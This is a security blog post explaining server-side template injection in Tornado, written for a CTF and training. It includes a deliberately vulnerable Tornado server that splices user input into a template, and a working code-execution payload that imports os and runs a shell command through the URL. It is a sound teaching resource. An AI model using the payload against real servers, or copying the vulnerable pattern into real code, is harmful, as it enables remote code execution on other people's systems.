Server Side Template Injection in Tornado

Posted by Ajin Abraham on Jul 3 2016

TL;DR

This post explains Server Side Template Injection (SSTI) in Python tornado web framework.


Tornado is a great and easy to use Python web framework for developing dynamic web applications with ease. When it comes to PoC or CTF Challenge creation, tornado is my default choice. Today we will see how Server Side Template Injection (SSTI) can be achieved in Tornado using the default template engine provided with it. Server Side template injections are not a vulnerability in Frameworks. They appear due to insecure code. SSTI can cause the similar impact of a Remote Code Injection attack and results in code execution depending on the templating engine. Modern web applications support templating, a technique that allows to load a file dynamically and render some data or evaluate expressions into certain points in the file and provide it back to the client.

A pseudo code example will be something like Template: abc.html

<html>
 <head><title>Hello {{ name }}</title></head>
 <body>
 Hello FOO
 </body>
</html>

 Application Code: server.py

name = request.GET['name']
template_data = open("abc.html").read()
template = Template.load(template_data)
response.write(template, name='World')

The response generated will be

<html>
 <head><title>Hello World</title></head>
 <body>
 Hello FOO
 </body>
</html>

Server Side Template Injection (SSTI) happens when untrusted user input is passed into template data before rendering is done. For example the vulnerable application code will look like this

name = request.GET['name']
template_data = open("abc.html").read()
template_data = template_data.replace("FOO",name)
template = Template.load(template_data)
response.write(template, name='world')

This can end up in arbitrary remote code execution depending on the templating engine. PortSwigger has put up a blog covering exploit/detection payloads for most of the templating engines like Mako, Twig, Jade, Smarty, Jinja2, Freemaker, Velocity etc. You can read the blog post here: Server Side Template Injection

I was trying to create a CTF related to SSTI for my Live training of WebSecNinja: Lesser known Web Attacks at Hack In Paris. Since the above mentioned template engines and the exploit payloads are well mentioned and easily available in the internet, I wanted  to try something different for the CTF. So I looked into various other templating engines like Django's templating engine, Cheetah, Tornado's template engine etc. It turned out that tornado was a perfect candidate. I couldn't find out a blog post or whitepaper explaining Server Side Template Injection in Tornado. After playing with tornado's template engine, I found that arbitrary code injection via SSTI is possible due to insecure code. This documentation on tornado templating helps a lot in creating an exploit payload.

These are the useful bit from the documentation to create a SSTI exploit for tornado.

{{   }} - Anything coming between {{ and }} are evaluated and send back to the output.

 Example:

{{ "ajin" }} -> ajin

{{ 2*2 }} -> 4


{% import *module* %} - Allows you to import python modules.

 Example:

{% import subprocess %} 

That's all we need to craft an exploit code.

{% import os %}{{ os.popen("whoami").read() }}

For the completeness of the post, let's write a tornado application vulnerable to SSTI. 

server.py

import tornado.template
import tornado.ioloop
import tornado.web
TEMPLATE = '''
<html>
 <head><title> Hello {{ name }} </title></head>
 <body> Hello FOO </body>
</html>
'''
class MainHandler(tornado.web.RequestHandler):

    def get(self):
        name = self.get_argument('name', '')
        template_data = TEMPLATE.replace("FOO",name)
        t = tornado.template.Template(template_data)
        self.write(t.generate(name=name))

application = tornado.web.Application([
    (r"/", MainHandler),
], debug=True, static_path=None, template_path=None)

if __name__ == '__main__':
    application.listen(8000)
    tornado.ioloop.IOLoop.instance().start()
 Now run the server, python server.py and navigate to http://localhost:8000/?name=ajin


You can see that data is getting dynamically substituted and coming back in the response. Let's try the basic test payload for SSTI. (Varies from templating framework) http://localhost:8000/?name={{2*2}}


And finally the exploit payload http://localhost:8000/?name={%import%20os%}{{os.popen(%22whoami%22).read()}

Code execution will happen at template interpolation and the result of whoami command is send back in response.


  • Tags: 
  • server side template injection
  • server side template injection in tornado
  • ssti
  • ssti in tornado
  • template injection in tornado

Ajin Abraham

  • |
  • |
  • |

Ajin Abraham is a Security Engineer with 10+ years of experience in Application Security, Research and Engineering. He is passionate about building and maintaining open source security tools and communities. Some of his contributions to Hacker's arsenal include Mobile Security Framework (MobSF), nodejsscan, OWASP Xenotix, etc. Areas of interest include runtime security instrumentation, offensive security, web and mobile application security, code and architectural reviews, cloud-native runtime security, security tool development, security automation, breaking and fixing security products, reverse engineering, and exploit development.